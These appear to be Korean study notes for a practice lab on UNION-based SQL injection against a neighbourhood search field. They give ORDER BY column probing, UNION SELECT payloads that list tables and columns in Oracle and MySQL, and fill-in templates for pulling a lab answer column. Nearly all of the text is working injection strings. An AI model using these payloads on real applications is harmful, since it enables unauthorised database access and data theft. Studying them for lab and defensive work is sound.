select * from map where dong like '%삼성동%' order by 5 -- %';
[검색어]%' order by [컬럼의 개수] --
삼성동%' order by 4 --
삼성동%' order by 5 --
삼성동%' order by 6 --
select * from map
where dong like '%삼성동%'
union select 'a','a','a','a','a' from dual -- %';
[검색어]%' union select [컬럼의 수만큼 자료형 입력] from dual --
삼성동%' union select 'a','a','a','a','a' from dual --
select * from map
where dong like '%삼성동%'
union select table_name from user_tables -- %';
[검색어]%' union select table_name from user_tables --
삼성동%' union select table_name from user_tables --
select * from map
where dong like '%삼성동%'
union select column_name,'b','c','d','e' from user_tab_columns
where table_name = 'SQL_UNION_ANSWER' -- %';
[검색어]%' union select [column_name포함 컬럼수만큼 자료형 맞춰 정의] from [user_tab_columns] where table_name = [탈취한 테이블 이름] --
삼성동%' union select column_name , 'b','c','d','e' from user_tab_columns where table_name = 'SQL_UNION_ANSWER' --
select * from map
where dong like '%삼성동%'
union select column_name,'b','c','d','e' from user_tab_columns
where table_name = 'SQL_UNION_ANSWER' -- %';
[검색어]%' union select [탈취한 컬럼명], 'b','c','d','e'
from [탈취한 테이블명] --
삼성동%' union select ANSWER_COLUMN, 'b','c','d','e'
from SQL_UNION_ANSWER --
select * from map where dong like '%도마동%' order by 5 -- %';
[검색어]%' order by [컬럼의 개수] --
도마동%' order by 4 --
도마동%' order by 5 --
도마동%' order by 6 --
select * from map
where dong like '%도마동%'
union select 'a','a','a','a','a' from dual -- %';
[검색어]%' union select [컬럼의 수만큼 자료형 입력] from dual --
도마동%' union select 'a','a','a','a','a' from dual --
select * from map
where dong like '%도마동%'
union select table_name,'b','c','d','e'
from information_schema.tables -- %';
[검색어]%' union select [table_name포함 컬럼수만큼 자료형 정의] from user_tables --
도마동%' union select table_name,'b','c','d','e'
from information_schema.tables --
select * from map
where dong like '%삼성동%'
union select column_name,'b','c','d','e' from user_tab_columns
where table_name = 'SQL_UNION_ANSWER' -- %';
[검색어]%' union select [column_name포함 컬럼수만큼 자료형 맞춰 정의] from [user_tab_columns] where table_name = [탈취한 테이블 이름] --
삼성동%' union select column_name , 'b','c','d','e' from user_tab_columns where table_name = 'SQL_UNION_ANSWER' --
select * from map
where dong like '%도마동%'
union select column_name,'b','c','d','e' from user_tab_columns
where table_name = 'SQL_UNION_ANSWER' -- %';
[검색어]%' union select [탈취한 컬럼명], 'b','c','d','e'
from [탈취한 테이블명] --
도마동%' union select answer_column, 'b','c','d','e' from union_answer --
테이블 정보
all_tables, user_tables
ex) select table_name from user_tables;
컬럼 정보
all_tab_columns, user_tab_columns
ex) select column_name from all_tab_columns where table_name = 'MEMBERS';
테이블 정보
information_schema.tables
ex) select table_name from information_schema.tables
컬럼 정보
information_schema.columns
ex) select column_name from information_schema.columns where table_name = 'union_answer'